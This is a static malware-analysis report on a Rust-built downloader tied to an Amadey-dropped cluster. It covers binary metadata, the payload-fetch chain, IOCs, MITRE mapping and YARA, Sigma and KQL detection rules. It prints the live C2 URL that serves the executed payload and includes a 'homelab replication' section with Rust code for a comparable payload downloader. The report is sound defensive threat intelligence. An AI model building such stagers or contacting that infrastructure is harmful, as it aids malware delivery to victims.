4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f39d2ca3: 4c25af57 — Rust ureq/rustls downloader, white-monster.xyz C2, SHA-256 payload integrity
Executive Summary
A stripped PE32+ x64 downloader compiled with Rust ~1.92.0 stable. It is the first Rust-built sibling observed in the 9d2ca3 / dropped-by-amadey cluster, expanding that grab-bag label to seven distinct build morphs. The binary uses the ureq 2.12.1 synchronous HTTP client backed by rustls 0.23.36 and ring 0.17.14 for TLS 1.3 payload retrieval, then validates the downloaded blob against a hardcoded SHA-256 hash. No packing, no obfuscation, no persistence, and no process injection are visible statically — a fire-and-forget stager. Static-only analysis (CAPE skipped — no Windows guest).
What It Is
| Attribute | Value |
|---|---|
| SHA-256 | 4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3 |
| Size | 1,533,440 bytes (1.46 MB) ^[file.txt] |
| Format | PE32+ executable (GUI) x86-64, 10 sections ^[file.txt] |
| Compiled | 2026-05-26 15:42:48 UTC ^[pefile.txt:34] ^[rabin2-info.txt:11] |
| Toolchain | Rust ~1.92.0 stable (rustc commit 59807616, 2026-04-14) ^[strings.txt:2292] |
| Linker | LLD 2.44 (Major=2, Minor=44) ^[pefile.txt:46] ^[exiftool.json:18] |
| Stripped | Yes (external PDB reference only) ^[rabin2-info.txt:30] |
| Signed | No ^[rabin2-info.txt:27] |
| Family | 9d2ca3 (OpenCTI label, contested grab-bag) ^[metadata.json:7] |
| Distribution | dropped-by-amadey ^[metadata.json:8] |
Dependency stack (all from Cargo registry paths in .rdata): ^[strings.txt:2279-3389]
ureq2.12.1 — synchronous HTTP client with gzip, proxy, and TLS supportrustls0.23.36 — pure-Rust TLS 1.2/1.3 implementation (supports ECH)ring0.17.14 — crypto primitives (AES-GCM, ChaCha20-Poly1305, ECDSA P-256/P-384, RSA, HKDF, SHA-256/384/512)flate21.1.8 /miniz_oxide0.8.9 — gzip/deflate decompressionbase640.22.1 — Base64 engineidna1.1.0 /percent-encoding2.3.2 /url2.5.8 — URL parsing and IDNA/Punycodeonce_cell1.21.3 — lazy static initializationsmallvec1.15.1 — small-vector optimizationcrc32fast1.5.0 — CRC32 with pclmulqdq accelerationgeneric-array0.14.7 /cipher0.4.4 /ctr0.9.2 /aes0.8.4 /block-buffer0.10.4 — block-cipher scaffolding
Import surface (~90 imports across 8 DLLs): ^[pefile.txt:328-523]
KERNEL32.dll— standard process/thread/memory/file APIsmsvcrt.dll— CRT (malloc, memcpy, strlen, fprintf, etc.)ntdll.dll—NtReadFile,NtWriteFile,RtlNtStatusToDosErrorWS2_32.dll— full WinSock 2 surface (socket, connect, send, recv, bind, listen, accept, WSAStartup, etc.)bcrypt.dll—BCryptGenRandombcryptprimitives.dll—ProcessPrngADVAPI32.dll—SystemFunction036api-ms-win-core-synch-l1-2-0.dll—WaitOnAddress,WakeByAddressAll,WakeByAddressSingle
No exports. No .rsrc except a 0x265-byte RT_MANIFEST (id 0x18). ^[pefile.txt:525-564]
How It Works
The entry point (0x1400013d0) delegates to fcn.140001180, which is the Rust runtime initialization and main(). ^[r2:entry0] The binary performs the following chain:
- TLS bootstrap —
rustls0.23.36 initializes a TLS 1.3 client config backed byring. The.rdatasection contains the full rustls error-string table, cipher-suite list, and handshake state machine constants. ^[strings.txt:2563-2669] - HTTP GET —
ureqbuilds a request to the hardcoded URLhttps://cloud.white-monster.xyz/cat.jpgwith a syntheticUser-Agentheader. ^[strings.txt:2286] ^[strings.txt:3321] - Response handling —
ureqtransparently handles gzip (flate2/miniz_oxide) and chunked transfer encoding. ^[strings.txt:3364] - Integrity validation — The downloaded payload is hashed and compared against the hardcoded SHA-256
867fbc90e07b14f8b5884fdc2993bfefd900a635e08ae5bfccc42e4b9ae59398. ^[strings.txt:2287] - Execution — The validated payload is executed. The exact mechanism (reflective load, disk write + spawn, or in-memory execution) is not visible statically; the binary imports
VirtualAllocandVirtualProtectbut alsoCreateThread, suggesting either RWX staging or direct thread injection. ^[strings.txt:2284-2285]
No persistence, no registry writes, no scheduled tasks, and no anti-VM/anti-debug checks are visible in static output. The defense is purely structural: a small, modern, dependency-heavy Rust binary with no obvious malicious strings beyond the C2 URL and hash.
Decompiled Behavior
Entry point (entry0 @ 0x1400013d0): ^[r2:entry0]
int entry0 (int rcx, int rdx) {
rsp -= 0x28;
rax = qword [0x14013a710];
dword [rax] = 1;
fcn.140001180 (); // Rust runtime -> main()
rsp += 0x28;
return;
}
The fcn.140001180 span (~0x2B0 bytes) sets up the Rust standard-library runtime, TLS callbacks, and panic handler before calling the user main(). No anti-analysis tricks are present — standard Rust std initialization.
Notable .rdata artifacts (high-entropy, read-only):
ureq-2.12.1/src/rtls.rs— TLS connection init code pathrustls-0.23.36/src/msgs/deframer/mod.rs— TLS record deframerring-0.17.14/src/aead/aes_gcm.rs— AES-GCM implementationring-0.17.14/src/ec/curve25519/ed25519/signing.rs— Ed25519 signing
These strings are not present in MinGW, Go, or .NET siblings of the 9d2ca3 cluster, making them strong cluster-differentiation markers.
C2 Infrastructure
| Indicator | Value | Notes |
|---|---|---|
| C2 URL | https://cloud.white-monster.xyz/cat.jpg |
Hardcoded in .rdata ^[strings.txt:2286] |
| Domain | cloud.white-monster.xyz |
Subdomain of white-monster.xyz |
| Protocol | HTTPS | TLS 1.3 via rustls 0.23.36 |
| User-Agent | Present (synthetic) | user-agent / User-Agent strings in .rdata ^[strings.txt:3321] |
| Payload hash | 867fbc90e07b14f8b5884fdc2993bfefd900a635e08ae5bfccc42e4b9ae59398 |
Hardcoded SHA-256 ^[strings.txt:2287] |
No fallback C2, no DGA, no IP-hardcoding. Single URL, single hash.
Interesting Tidbits
- Toolchain novelty: This is the first Rust sample in the entire
9d2ca3cluster and the first Rust downloader in the corpus usingureq+rustls+ring. Prior siblings used MinGW-w64, Go 1.25.4, .NET Framework 4.0/4.6.2, or .NET Native AOT. ^[entities/9d2ca3.md] - Build path leakage:
.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/...paths reveal the author built on a Linux x86_64 host with a standard Rustup installation at/home/user/.rustup/toolchains/stable-x86_64-unknown-linux-gnu. ^[strings.txt:2279-2423] - No masquerade: Unlike most
9d2ca3siblings, this binary has no VS_VERSIONINFO, no icon group, no fake product name. It is a naked Rust PE — unusual for Amadey droppers which typically carry at least minimal social engineering. - Small
.data: The.datasection is only 0xA70 bytes (2,672 bytes) with entropy 0.18 — nearly empty. The payload is not embedded locally; it is fetched at runtime. This is consistent with a pure downloader/stager. ^[pefile.txt:99-115] - TLS 1.3 + ECH capable:
rustls0.23.36 supports Encrypted Client Hello. The binary contains the full ECH error-string table (EchConfigExtension,hrr ech accept confirmation, etc.). ^[strings.txt:2660-2669] Whether ECH is actually configured is unknown statically. - floss/capa failures:
flosswas invoked with incorrect arguments and produced only an error message. ^[floss.txt]capafailed because the default signature path is missing on this host. ^[capa.txt] No decoded strings or capability hits are available.
How To Mess With It (Homelab Replication)
Goal: Reproduce a comparable Rust downloader that triggers the same static fingerprints.
Toolchain:
- Rust ~1.92.0 stable (or any recent stable with
cargo) - Target:
x86_64-pc-windows-gnuorx86_64-pc-windows-msvc
Cargo.toml:
[package]
name = "rust_downloader"
version = "0.1.0"
edition = "2021"
[dependencies]
ureq = { version = "2.12", features = ["tls"] }
ring = "0.17"
src/main.rs:
use std::time::Duration;
fn main() {
let agent = ureq::AgentBuilder::new()
.timeout_connect(Duration::from_secs(10))
.build();
let resp = agent
.get("https://example.com/payload.jpg")
.set("User-Agent", "Mozilla/5.0")
.call()
.unwrap();
let body = resp.into_string().unwrap();
// Add SHA-256 validation here with ring::digest
}
Build & strip:
cargo build --release --target x86_64-pc-windows-gnu
strip target/x86_64-pc-windows-gnu/release/rust_downloader.exe
Verification:
- Run
rabin2 -I repro.exe— expectlang: c,signed: false,stripped: true,LinkerVersion: 2.44. - Run
strings repro.exe | grep -i ureq— expectureq-2.12.1/src/paths. - Run
strings repro.exe | grep -i rustls— expectrustls-0.23.36/src/paths. - Compare section names:
.text,.data,.rdata,.pdata,.xdata,.bss,.idata,.tls,.rsrc,.reloc.
Deployable Signatures
YARA Rule
rule rust_ureq_downloader_9d2ca3 {
meta:
description = "Rust ureq/rustls downloader from 9d2ca3 cluster"
author = "PacketPursuit"
date = "2026-08-15"
sha256 = "4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3"
strings:
$c2_url = "https://cloud.white-monster.xyz/cat.jpg" ascii wide
$payload_hash = "867fbc90e07b14f8b5884fdc2993bfefd900a635e08ae5bfccc42e4b9ae59398" ascii wide
$ureq_rtls = "ureq-2.12.1/src/rtls.rs" ascii
$rustls_tls13 = "rustls-0.23.36/src/crypto/tls13.rs" ascii
$ring_hmac = "ring-0.17.14/src/hmac.rs" ascii
$rustc_commit = "/rustc/59807616e1fa2540724bfbac14d7976d7e4a3860/" ascii
condition:
uint16(0) == 0x5A4D and
filesize < 2MB and
(
any of ($c2_url, $payload_hash) or
2 of ($ureq_rtls, $rustls_tls13, $ring_hmac, $rustc_commit)
)
}
Sigma Rule
title: Rust ureq Downloader Network Connection
status: experimental
description: Detects network connections to white-monster.xyz C2 domain
logsource:
category: network_connection
detection:
selection:
DestinationHostname|endswith: '.white-monster.xyz'
condition: selection
falsepositives:
- Unknown
level: high
Behavioral Hunt Query (KQL / Microsoft Defender)
DeviceNetworkEvents
| where RemoteUrl endswith ".white-monster.xyz"
| join kind=inner (
DeviceProcessEvents
| where FileName matches regex @"^[a-zA-Z0-9]{8,12}\.exe$"
) on $left.InitiatingProcessId == $right.ProcessId
| project Timestamp, DeviceName, FileName, RemoteUrl, SHA256
IOC List
| Type | Value |
|---|---|
| SHA-256 (sample) | 4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3 |
| SHA-256 (expected payload) | 867fbc90e07b14f8b5884fdc2993bfefd900a635e08ae5bfccc42e4b9ae59398 |
| C2 URL | https://cloud.white-monster.xyz/cat.jpg |
| Domain | cloud.white-monster.xyz |
| TLD | .white-monster.xyz |
| ssdeep | 24576:IcleFMoBQ1GvX+3R5sT4/AxFl+D3abDEj5VIH06iy9FMO/:IbFMyQwUru+AxHccIIU6isL ^[ssdeep.txt] |
| tlsh | C5658E43E695C1ECC55EC078D7579B36FA32B88D093076EA27D08B242E16F816F1DB1A ^[tlsh.txt] |
Behavioral Fingerprint
This binary is a stripped PE32+ x64 compiled with Rust ~1.92.0. It imports only standard Windows APIs (KERNEL32, WS2_32, ntdll, bcrypt, bcryptprimitives, ADVAPI32) plus msvcrt CRT. On execution, it establishes an HTTPS connection to cloud.white-monster.xyz using the ureq HTTP client backed by rustls 0.23.36 with ring 0.17.14 crypto. It downloads a payload (masqueraded as a .jpg) and validates it against a hardcoded SHA-256 hash before execution. No persistence, no registry writes, and no process injection are observed statically. The entire operation is fire-and-forget.
Detection Signatures
| MITRE ATT&CK Technique | ID | Evidence |
|---|---|---|
| Ingress Tool Transfer | T1105 | Hardcoded HTTPS URL for payload download ^[strings.txt:2286] |
| Application Layer Protocol: Web Protocols | T1071.001 | ureq + rustls HTTPS GET ^[strings.txt:2279-3389] |
| Obfuscated Files or Information | T1027 | Payload delivered as .jpg masquerade; SHA-256 integrity check ^[strings.txt:2286-2287] |
References
- 9d2ca3 — Family entity page (contested grab-bag label)
- rust-ureq-rustls-downloader — Technique deep-dive on this build pattern
- OpenCTI artifact:
4a1d8b0f-775a-474b-90f4-5b0a38da4900^[metadata.json:2] - MalwareBazaar:
4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3
Provenance
file.txt—filev5.45pefile.txt—pefilePython libraryrabin2-info.txt—radare2v5.9.9 (rabin2 -I)strings.txt—strings(GNU binutils)floss.txt— FireEyeflare-floss(invoked with incorrect arguments, error only)capa.txt— Mandiantcapav9.1.0 (failed — missing default signatures)binwalk.txt—binwalkv2.4.3exiftool.json—exiftoolv12.76ssdeep.txt—ssdeeptlsh.txt—tlshmetadata.json/triage.json— triage pipeline output- Radare2 decompilation —
r2v5.9.9, analysis level 3, 2830 functions recovered - Dynamic analysis: CAPE skipped — no Windows guest available ^[dynamic-analysis.md]